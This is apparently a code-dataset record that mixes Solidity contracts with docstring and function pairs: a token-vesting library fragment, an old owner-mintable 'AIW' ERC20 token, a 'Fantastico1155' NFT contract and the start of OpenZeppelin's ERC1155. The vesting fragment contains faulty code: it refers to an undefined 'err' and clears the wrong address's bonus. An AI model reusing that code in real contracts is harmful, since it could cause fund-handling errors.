(self.holdingAmount[_beneficiary][1] > 0)){ // if there is a bonus and it's before the endTime, cancel the bonus _withdrawAmount = calculateWithdrawal(self, _beneficiary); uint256 _bonusAmount = self.holdingAmount[_beneficiary][1]; self.holdingAmount[msg.sender][1] = 0; ok = token.burnToken(_bonusAmount); } else { if(now > self.endTime){ // if it's past the endTime then send everything left _withdrawAmount = self.holdingAmount[_beneficiary][0] + self.holdingAmount[_beneficiary][1]; (ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[_beneficiary]); require(!err); self.holdingAmount[_beneficiary][0] = 0; self.holdingAmount[_beneficiary][1] = 0; } else { // if we're here then it's before the endTime and no bonus, need to calculate _withdrawAmount = calculateWithdrawal(self, _beneficiary); } } self.hasWithdrawn[_beneficiary] += _withdrawAmount; // transfer tokens to the beneficiary ok = token.transfer(_beneficiary, _withdrawAmount); require(ok); LogTokensWithdrawn(_beneficiary,_withdrawAmount); return true; } /// @dev Allows the owner to withdraw any ETH left in the contractBalance /// @param self Stored vesting from vesting contract function ownerWithdrawExtraETH(VestingStorage storage self) public returns (bool) { require(msg.sender == self.owner); require(now > self.endTime); require(!self.isToken); uint256 _contractBalance = this.balance; self.contractBalance = 0; self.owner.transfer(_contractBalance); LogETHWithdrawn(self.owner,_contractBalance); return true; } /// @dev Allows the owner to withdraw any tokens left in the contractBalance /// @param self Stored vesting from vesting contract function ownerWithdrawExtraTokens(VestingStorage storage self, CrowdsaleToken token) public returns (bool) { require(msg.sender == self.owner); require(now > self.endTime); require(self.isToken); uint256 _contractBalance = token.balanceOf(this); self.contractBalance = 0; token.transfer(self.owner,_contractBalance); LogTokensWithdrawn(self.owner,_contractBalance); return true; } /// @dev Returns the percentage of the vesting that has been released at the current moment function getPercentReleased(VestingStorage storage self) public view returns (uint256) { require(now > self.startTime); return self.percentPerInterval * ((now-self.startTime)/self.timeInterval); } }
allows a participant to replace themselves in the vesting schedule with a new address self Stored vesting from vesting contract _replacementRegistrant new address to replace the caller with
function swapRegistration(VestingStorage storage self, address _replacementRegistrant) public returns (bool) { require(_replacementRegistrant != 0); require(self.holdingAmount[_replacementRegistrant][0] == 0); uint256 _vestAmount = self.holdingAmount[msg.sender][0]; uint256 _bonus = self.holdingAmount[msg.sender][1]; uint256 _withdrawnAmount = self.hasWithdrawn[msg.sender]; require(_vestAmount > 0); self.holdingAmount[msg.sender][0] = 0; self.holdingAmount[msg.sender][1] = 0; self.hasWithdrawn[msg.sender] = 0; self.holdingAmount[_replacementRegistrant][0] = _vestAmount; self.holdingAmount[_replacementRegistrant][1] = _bonus; self.hasWithdrawn[_replacementRegistrant] = _withdrawnAmount; LogRegistrationReplaced(msg.sender, _replacementRegistrant, self.hasWithdrawn[_replacementRegistrant]); return true; }
12,964,822
pragma solidity ^0.4.21; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;} contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract AIW is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; uint principleNumber; mapping(uint => string) principles; //AIW principles mapping(address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); event Principle(address _sender, uint _principleNumber, string _principle); /* Initializes contract with initial supply tokens to the creator of the contract */ function AIW( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /*declare AIW principles */ function principle(string _principle) public { principles[principleNumber] = _principle; principleNumber += 1; emit Principle(msg.sender, principleNumber-1, _principle); } /*get principle */ function getPrinciple(uint _principleNumber) public constant returns (string){ return principles[_principleNumber]; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
Buy tokens from contract by sending ether calculates the amount makes the transfers
function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); }
10,765,383
// SPDX-License-Identifier: MIT // Copyright © BlockChain Magic Pte Ltd // MMXXII /* ███████╗░█████╗░███╗░░██╗████████╗░█████╗░░██████╗████████╗██╗░█████╗░░█████╗░ ██╔════╝██╔══██╗████╗░██║╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝██║██╔══██╗██╔══██╗ █████╗░░███████║██╔██╗██║░░░██║░░░███████║╚█████╗░░░░██║░░░██║██║░░╚═╝██║░░██║ ██╔══╝░░██╔══██║██║╚████║░░░██║░░░██╔══██║░╚═══██╗░░░██║░░░██║██║░░██╗██║░░██║ ██║░░░░░██║░░██║██║░╚███║░░░██║░░░██║░░██║██████╔╝░░░██║░░░██║╚█████╔╝╚█████╔╝ ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░╚═╝░╚════╝░░╚════╝░ ███████╗██████╗░░█████╗░░░░░░░░░███╗░░░░███╗░░███████╗███████╗ ██╔════╝██╔══██╗██╔══██╗░░░░░░░████║░░░████║░░██╔════╝██╔════╝ █████╗░░██████╔╝██║░░╚═╝█████╗██╔██║░░██╔██║░░██████╗░██████╗░ ██╔══╝░░██╔══██╗██║░░██╗╚════╝╚═╝██║░░╚═╝██║░░╚════██╗╚════██╗ ███████╗██║░░██║╚█████╔╝░░░░░░███████╗███████╗██████╔╝██████╔╝ ╚══════╝╚═╝░░╚═╝░╚════╝░░░░░░░╚══════╝╚══════╝╚═════╝░╚═════╝░ */ pragma solidity 0.8.12; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; //import "hardhat/console.sol"; contract Fantastico1155 is ERC1155, AccessControl, Pausable, ERC1155Supply, ReentrancyGuard { event FmCreated( address fmCreatorAddress, uint256 tokenId, uint256 fmMaxSupply, string fmURL ); event FmMetadataUpdated(uint256 tokenId, string fmURL, uint256 fmImgHash); event FmHidden(uint256 tokenId); event FmUnhidden(uint256 tokenId); using Counters for Counters.Counter; Counters.Counter private _tokenIds; Counters.Counter public fmHiddenCount; /** * @dev Struct to store the attributes of a Fantastic Moment token * * - fmCreatorAddress: The address of the creator of the FM * - fmURL: The URL of the FM metadata or image * - fmImgHash: The hash of the image of the FM * - fmSupply: The total supply of the FM * - hidden: Whether the FM is hidden or not */ struct FantasticMoment { address fmCreatorAddress; string fmURL; uint16 fmMaxSupply; uint256 fmImgHash; // Fees on marketplace sales // Fantastico uint8 mpFantasticoFees; // Athlete's chosen charity uint8 mpCharityFees; // Requested by legal team in case of issues... bool fmHidden; } // * Unique tokenId for each FM mapping(uint256 => FantasticMoment) private _fmCollection; // * Mapping of the FM image SHA256 hash -> FM tokenId mapping(uint256 => uint256) public fmUniqueImgHashList; // * Hidden Fms tokenIds mapping(uint256 => bool) public fmHiddenList; // * Generic URL used for all hidden FMs string public fmHiddenURL; // * Address of the marketing wallet address public fmMarketingWallet; // * Value for calculation of % of newly minted FMS sent to // * marketing wallet - from 0 to 10 maximum uint256 public fmMarketingFees; // * Fees amount for external royalties (EIP2981), between 0-15 uint256 public fmRoyaltyFees; // * Value for calculation of % of Fantastico fees // * on each marketplace sales - from 0 to 10 maximum uint256 public mpFantasticoFees; // * Minimum % deducted from Fantastico fees and // * sent to charity wallet - from 10 to 100 maximum uint256 public minCharityFees; // * The maximum amount of FM that can be minted // * between 1-2500 max uint256 public maxMintAmount; // * The contract metadata URI for OpenSea string public fmContractURI; // * Deactivate the emergency metadata update if true bool public killedMetadataUpdate; // * Roles for access control bytes32 constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); bytes32 constant MINTER_ROLE = keccak256("MINTER_ROLE"); /** * @dev Constructor * * @param marketingWallet_ The address of the marketing wallet */ constructor(address marketingWallet_) ERC1155("") { require(marketingWallet_ != address(0), "No address(0)"); _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); _grantRole(ADMIN_ROLE, msg.sender); /* **************************************** * The functions below requires ADMIN_ROLE * - setHiddenURL() * - pause() / unpause() * - hideFm() / unhideFm() * - hideFms() / unhideFms() * - setMarketingWalletAddress() * - setMarketingFees() * - setFantasticoFees() * - setMinCharityFees() * *************************************** * The function below requires MANAGER_ROLE * - mintForAthlete() * *************************************** * The function below requires MINTER_ROLE * - mintByAthlete() * ***************************************/ maxMintAmount = 2500; fmHiddenURL = ""; fmMarketingWallet = marketingWallet_; // * 5% of newly minted FMs sent to Marketing wallet // * if minted amount > 20 fmMarketingFees = 5; // 5% of royalty fees fmRoyaltyFees = 10; // * 5% of marketplace sales proceeds sent to Fantastico wallet mpFantasticoFees = 5; // * At least 10% of marketplace sales proceeds sent to charity wallet minCharityFees = 10; } /** * @dev Public function to retrieve the contract description for OpenSea */ function contractURI() external view returns (string memory) { return fmContractURI; } /** * @dev Return the token name */ function name() external pure returns (string memory) { return "Fantastico"; } /** * @dev Return the token Symbol */ function symbol() external pure returns (string memory) { return "TICO"; } /** * @dev Modifier to verify that a token exists. * * @param tokenId_ The tokenId to check. */ modifier onlyIfExists(uint256 tokenId_) { require(exists(tokenId_), "No FM with this Id"); _; } /** * @dev Set the value of the generic URI returned for hidden tokens. * * Default value is empty string "" - initialized in constructor * * @param url_ the URI returned for the hidden tokens. * * Ex: https://fantastico.ooo/api/v1/metadata/hidden.json * * Requirements: ADMIN_ROLE */ function setHiddenURL(string calldata url_) external onlyRole(ADMIN_ROLE) { fmHiddenURL = url_; } /** * @dev Update the value a FM metadata URL and image hash. * * !! This function is here if problems are discovered * !! after the launch, if everything is OK it must be * !! permanently deactivated by calling killFmMetadataUpdate() * * @param tokenId_ the if of the Fantastic Moment. * @param fmURL_ the full URL to the FM metadata file. * @param fmImgHash_ the SHA256 hash of the FM image. * * * Requirements: SUPER_ADMIN_ROLE */ function fmMetadataUpdate( uint256 tokenId_, string calldata fmURL_, uint256 fmImgHash_ ) external onlyRole(DEFAULT_ADMIN_ROLE) onlyIfExists(tokenId_) { require(!killedMetadataUpdate, "Permanently deactivated!"); require( fmUniqueImgHashList[fmImgHash_] == 0, "Image hash already exists" ); FantasticMoment storage fm = _fmCollection[tokenId_]; // Delete previous image hash from the mapping delete fmUniqueImgHashList[fm.fmImgHash]; fm.fmURL = fmURL_; fm.fmImgHash = fmImgHash_; // Save the new image hash fmUniqueImgHashList[fm.fmImgHash] = tokenId_; // Emit metadata updated event emit FmMetadataUpdated(tokenId_, fmURL_, fmImgHash_); } function killFmMetadataUpdate() external onlyRole(DEFAULT_ADMIN_ROLE) { require(!killedMetadataUpdate, "Permanently deactivated!"); killedMetadataUpdate = true; } /** * @dev Pause the Athlete minting and transfers - but not manager minting * * IMPORTANT - !! MintForAthlete will not be paused !! * * Requirements: ADMIN_ROLE */ function pause() external onlyRole(ADMIN_ROLE) { _pause(); } /** * @dev Unpause the Athlete minting and tokens Transfers * * Requirements: ADMIN_ROLE */ function unpause() external onlyRole(ADMIN_ROLE) { _unpause(); } /** * @dev Only addresses with MINTER_ROLE can call this function. * * The owner of the FM will be the sender of the transaction. * * @param fmURL_ URL of the FM metadata or picture. * Example: "ipfs://QmcFAs7GH9bh6Q11bLVwd5J2/FM.json" * @param fmImgHash_ SHA256 hash of the FM image. * @param amount_ Total amount of FMs to mint. * @param mpCharityFees_ Fees on marketplace sales * * Requirements: MINTER_ROLE */ function mintByAthlete( string calldata fmURL_, uint256 fmImgHash_, uint256 amount_, uint256 mpCharityFees_ ) external onlyRole(MINTER_ROLE) whenNotPaused { mint(msg.sender, fmURL_, fmImgHash_, amount_, mpCharityFees_); } /** * @dev Address with MANAGER_ROLE can call this function and mint FMs for * athletes, but only for addresses with MINTER_ROLE. * * The owner of the FM will be the creator address and *NOT* the sender of * the transaction. * * @param fmCreatorAddress_ Wallet address of the creator of the FM * @param fmURL_ URL of the FM metadata or picture. * Example: "ipfs://QmcFAs7GH9bh6Q11bLVwd5J2/FM.json" * @param fmImgHash_ SHA256 hash of the FM image. * @param amount_ Total amount of FMs to mint. * @param mpCharityFees_ Fees on marketplace sales * * Requirements: MANAGER_ROLE */ function mintForAthlete( address fmCreatorAddress_, string calldata fmURL_, uint256 fmImgHash_, uint256 amount_, uint256 mpCharityFees_ ) external onlyRole(MANAGER_ROLE) { require(fmCreatorAddress_ != address(0), "No address(0)"); require(fmCreatorAddress_ != msg.sender, "No mint for yourself"); require( hasRole(MINTER_ROLE, fmCreatorAddress_), "creator address need MINTER_ROLE!" ); // Creator must already have MINTER_ROLE mint(fmCreatorAddress_, fmURL_, fmImgHash_, amount_, mpCharityFees_); } /** * @dev Internal mint function that will mint the FM for the creator. * * Marketing allocation of newly minted FMs is based on the total supply, * the FMs sent to marketing wallet are deducted from the total supply. * * The marketing percentage allocation can be updated and the accepted * values are between 0-10, with a default of 5 at contract deployment. * * - If total supply == 1: * 0 FM sent to marketing wallet * 1 FM sent to creator wallet * * - If total supply > 1 < 21: * 1 FM sent to marketing wallet * (supply - 1) sent to creator wallet * * - If total supply >= 21: * `fmMarketingFees`% of FMs sent to marketing wallet * (supply - `fmMarketingFees`%) sent to creator wallet * * @param fmCreatorAddress_ Wallet address of the creator of the FM * @param fmURL_ URL of the FM metadata * Example: "ipfs://QmcFAs7GH9bh6Q11bLVwd5J2/FM.json" * @param fmImgHash_ SHA256 hash of the FM image. * @param amount_ Total amount of FMs to mint. * @param mpCharityFees_ Fees on marketplace sales * * @return The tokenId of the FM */ function mint( address fmCreatorAddress_, string calldata fmURL_, uint256 fmImgHash_, uint256 amount_, uint256 mpCharityFees_ ) internal nonReentrant returns (uint256) { require(amount_ > 0 && amount_ <= maxMintAmount, "amount > max amount"); require( mpCharityFees_ >= minCharityFees && mpCharityFees_ < 101, "not between 10-100!" ); require( fmUniqueImgHashList[fmImgHash_] == 0, "Image hash already exists" ); // * Total of FMs sent to Marketing wallet, depends on amount minted // * 1 FM: 0 | 2-20 FMs: 1 | > 20 FMs: `fmMarketingFees`% uint256 amountForMarketing = 0; if (fmMarketingFees > 0) { amountForMarketing = amount_ < 6 ? 0 : amount_ < 21 ? 1 : (amount_ * fmMarketingFees) / 100; } _tokenIds.increment(); uint256 _newTokenId = _tokenIds.current(); // * Add new FM to collection _fmCollection[_newTokenId] = FantasticMoment( fmCreatorAddress_, fmURL_, // Total supply uint16(amount_), fmImgHash_, uint8(mpFantasticoFees), uint8(mpCharityFees_), // Hidden status - default false false ); // * Add fmImgHash_ to fmUniqueImgHashList fmUniqueImgHashList[fmImgHash_] = _newTokenId; // * Mint the FMs to the creator address _mint(fmCreatorAddress_, _newTokenId, amount_, ""); // * Transfer the FMs allocated to the marketing wallet address if any // * !! if called by mintForAthlete() then msg.sender address must be // * approved or the transfer will fail if (amountForMarketing > 0) { safeTransferFrom( fmCreatorAddress_, fmMarketingWallet, _newTokenId, amountForMarketing, "" ); } // console.log( // "--> Contract Minting TokenId (%s)", // _newTokenId // // amount_, // // amountForCreator, // // amountForMarketing // ); emit FmCreated( fmCreatorAddress_, _newTokenId, // Max supply amount_, fmURL_ ); return _newTokenId; } /** * @dev This implementation returns the Fantastic Moment URL,l * or `fmHiddenURL` if the token is hidden. * * @param tokenId_ The tokenId of the FM. */ function uri(uint256 tokenId_) public view override onlyIfExists(tokenId_) returns (string memory) { // * Return the hiddenFmURL if FM is hidden return _fmCollection[tokenId_].fmHidden ? fmHiddenURL : _fmCollection[tokenId_].fmURL; } /** * @dev This implementation returns the Fantastic Moment image hash * * @param tokenId_ The tokenId of the FM. */ function fmImgHash(uint256 tokenId_) public view returns (uint256) { // * Return the hiddenFmURL if FM is hidden return _fmCollection[tokenId_].fmImgHash; } /** * @dev Return the creator address of the Fantastic Moment * @param tokenId_ The tokenId of the FM. * * @return address of the creator of the FM */ function fmCreatorAddress(uint256 tokenId_) external view onlyIfExists(tokenId_) returns (address) { return _fmCollection[tokenId_].fmCreatorAddress; } /** * @dev Return the Charity fees taken on Marketplace sales * the value is stored in the FM struct. * * @param tokenId_ The tokenId of the FM. * * @return Charity fees collected on Marketplace sales */ function fmCharityFees(uint256 tokenId_) external view onlyIfExists(tokenId_) returns (uint256) { return _fmCollection[tokenId_].mpCharityFees; } /** * @dev Return the Fantastico fees taken on Marketplace sales * the value is stored in the FM struct. * * @param tokenId_ The tokenId of the FM. * * @return Fantastico fees collected on Marketplace sales */ function fmFantasticoFees(uint256 tokenId_) external view onlyIfExists(tokenId_) returns (uint256) { return _fmCollection[tokenId_].mpFantasticoFees; } /** * @dev Hide a FM by setting the FM `hidden` attribute to true if it's value is false * !! Otherwise the value is not modified !! * * It will also: * - Add the tokenId to the list of hidden tokens `fmHiddenList` * - Increment by one the value of `fmsiddenCount` * - Emit an FmHidden event * * IMPORTANT: when hidden the value of the default generic URL `hiddenFmURL` * will be returned by the uri() function instead of the URL stored in * the FantasticMoment struct for this tokenId. * * @param tokenId_ The tokenId of the FM. * * Requirements: ADMIN_ROLE */ function hideFm(uint256 tokenId_) public onlyRole(ADMIN_ROLE) { require(!isHidden(tokenId_), "FM is already hidden"); //console.log("--> contract: hiding FM (%s)", tokenId_); _fmCollection[tokenId_].fmHidden = true; fmHiddenList[tokenId_] = true; fmHiddenCount.increment(); emit FmHidden(tokenId_); } /** * @dev Hide multiple FMs at once * * @param tokenIds_ Array of tokenIds of the FMs to hide * * Requirements: ADMIN_ROLE */ function hideFms(uint256[] calldata tokenIds_) external onlyRole(ADMIN_ROLE) { for (uint256 i = 0; i < tokenIds_.length; i++) { hideFm(tokenIds_[i]); } } /** * @dev Unhide a FM by setting the FM `hidden` attribute to false if it's value is true * !! Otherwise the value is not modified !! * * It will also: * - Delete the tokenId to the list of hidden tokens `fmHiddenList` * - Decrement by one the value of `fmHiddenCount` * - Emit an FmUnhidden event * * @param tokenId_ The tokenId of the FM. * * Requirements: ADMIN_ROLE */ function unhideFm(uint256 tokenId_) public onlyRole(ADMIN_ROLE) { require(isHidden(tokenId_), "FM is not hidden"); _fmCollection[tokenId_].fmHidden = false; delete fmHiddenList[tokenId_]; fmHiddenCount.decrement(); emit FmUnhidden(tokenId_); } /** * @dev Unhide multiple hidden FMs at once * * @param tokenIds_ Array of tokenIds of the FMs to unhide * * Requirements: ADMIN_ROLE */ function unhideFms(uint256[] calldata tokenIds_) external onlyRole(ADMIN_ROLE) { for (uint256 i = 0; i < tokenIds_.length; i++) { unhideFm(tokenIds_[i]); } } /** * @dev Return true if the FM is hidden * * @param tokenId_ tokenId of the FM * * Requirements: ADMIN_ROLE */ function isHidden(uint256 tokenId_) public view onlyIfExists(tokenId_) returns (bool) { return _fmCollection[tokenId_].fmHidden; } //TODO Write documentation function ownedToken(address account_) public view returns (uint256[] memory) { uint256 count = 0; uint256 currentTokenId = _tokenIds.current(); for (uint256 tokenId = 1; tokenId <= currentTokenId; tokenId++) { if (balanceOf(account_, tokenId) != 0) { count++; } } uint256[] memory tokens = new uint256[](count); uint256 idx = 0; for (uint256 tokenId = 1; tokenId <= currentTokenId; tokenId++) { if (balanceOf(account_, tokenId) != 0) { tokens[idx] = tokenId; idx++; } } return tokens; } /** * @dev Update the value of the maximum amount of each newly minted FMs * * values are between 1-2500, with a default of 2500 at contract deployment. * @param value_ the maximum amount of each newly minted FMs * * Requirements: ADMIN_ROLE */ function setMaxMintAmount(uint256 value_) external onlyRole(ADMIN_ROLE) { // * value_ must be between 1 and 2500 require(value_ > 0 && value_ < 2501, "is not between 1-2500!"); maxMintAmount = value_; } /** * @dev Update the URL of the contract metadata * * @param contractURI_ the new address of the contract metadata. * * Requirements: ADMIN_ROLE */ function setContractURI(string calldata contractURI_) external onlyRole(DEFAULT_ADMIN_ROLE) { fmContractURI = contractURI_; } /** * @dev Update the address of the Marketing wallet * * @param address_ the new address of the Marketing wallet. * * Requirements: ADMIN_ROLE */ function setMarketingWalletAddress(address address_) external onlyRole(ADMIN_ROLE) { require(address_ != address(0), "No address(0)"); fmMarketingWallet = address_; } /** * @dev Update the percentage of newly minted FMs sent to Marketing wallet. * * Accepted value from 0 to 10 maximum - Default Value at contract * deployment: 5 * * @param value_ the percentage of FMs sent to the Marketing wallet. * * Requirements: ADMIN_ROLE */ function setMarketingFees(uint256 value_) external onlyRole(ADMIN_ROLE) { require(value_ < 11, "is more than 10!"); fmMarketingFees = value_; } /** * @dev Update the value used for calculation of % of Fantastico fees * after each successful sales on the Fantastico marketplace. * * Accepted value from 0 to 10 maximum - Default Value at contract * deployment: 5 * * This value will be stored on the FM data structure at mint time. * * @param value_ the percentage of FMs sent to Fantastico wallet. * * Requirements: ADMIN_ROLE */ function setFantasticoFees(uint256 value_) external onlyRole(ADMIN_ROLE) { require(value_ < 11, "is more than 10!"); mpFantasticoFees = value_; } /** * @dev Update the value used for calculation of % of Fantastico fees * sent to Charity wallet after each successful sales on the Fantastico * marketplace. * * Accepted value from 0 to 100 maximum - Default Value at contract * deployment: 10 * * This value will be stored on the FM data structure at mint time. * * @param value_ the percentage of FMs sent to the Charity wallet. * * Requirements: ADMIN_ROLE */ function setMinCharityFees(uint256 value_) external onlyRole(ADMIN_ROLE) { // * value_ must be between 10 and 100 require(value_ > 9 && value_ < 101, "is not between 10-100!"); minCharityFees = value_; } // EIP2981 standard royalties return. /** * @dev Return 2 values, the royalty fees receiver and royaltyAmount * * This value will be stored on the FM data structure at mint time. * * @param salePrice_ the percentage of FMs sent to the Charity wallet. */ function royaltyInfo(uint256, uint256 salePrice_) external view returns (address receiver, uint256 royaltyAmount) { return (fmMarketingWallet, (salePrice_ * fmRoyaltyFees) / 100); } /** * @dev Update Royalty fees for calculating % in royaltyInfo() * * Accepted value from 0 to 15 maximum - Default Value at contract * deployment: 10 * * This value will be stored on fmRoyaltyFees(public variable). * * @param fees_ the percentage of royalty fees for calculating on royaltyInfo(). * * Requirements: ADMIN_ROLE */ function setRoyaltyFees(uint256 fees_) external onlyRole(ADMIN_ROLE) { require(fees_ >= 0 && fees_ < 16, "is not between 0-15!"); fmRoyaltyFees = fees_; } /** * @dev The following functions are overrides required by Solidity. */ /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * */ function _beforeTokenTransfer( address operator_, address from_, address to_, uint256[] memory ids_, uint256[] memory amounts_, bytes memory data ) internal override(ERC1155, ERC1155Supply) whenNotPaused { super._beforeTokenTransfer(operator_, from_, to_, ids_, amounts_, data); } function supportsInterface(bytes4 interfaceId_) public view override(ERC1155, AccessControl) returns (bool) { return super.supportsInterface(interfaceId_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients 